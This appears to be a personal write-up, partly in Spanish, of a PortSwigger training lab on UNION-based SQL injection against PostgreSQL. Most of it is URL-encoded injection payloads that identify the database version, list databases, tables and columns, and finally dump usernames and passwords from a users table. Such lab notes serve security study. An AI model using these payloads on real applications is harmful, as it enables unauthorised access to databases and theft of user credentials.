05 - SQL injection attack, listing the database contents on non-Oracle databases
#sqli #unionattack #infodisclosure #portswigger
sql
'+UNION+SELECT+version(),version()+--+-Postgress found
https://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet
Extraer los nombres de las bases de datos
SQL
'+UNION+SELECT+datname,'a'+FROM+pg_database+--+-Listar nombre de las tablas
SQL
SELECT table_schema, table_name
FROM information_schema.tables
WHERE table_type = 'BASE TABLE' AND table_schema NOT IN ('pg_catalog', 'information_schema');Listar nombre de las columnas
SQL
SELECT column_name, data_type, is_nullable
FROM information_schema.columns
WHERE table_schema = 'public' AND table_name = 'nombre_tabla';SQL
'+UNION+SELECT+column_name,data_type+FROM+information_schema.columns+WHERE+table_schema+=+'public'+AND+table_name+=+'users_pssqck'+--+-Listar datos
SQL
'+UNION+SELECT+username_wbpptu,password_uvrxkv+FROM+users_pssqck+--+-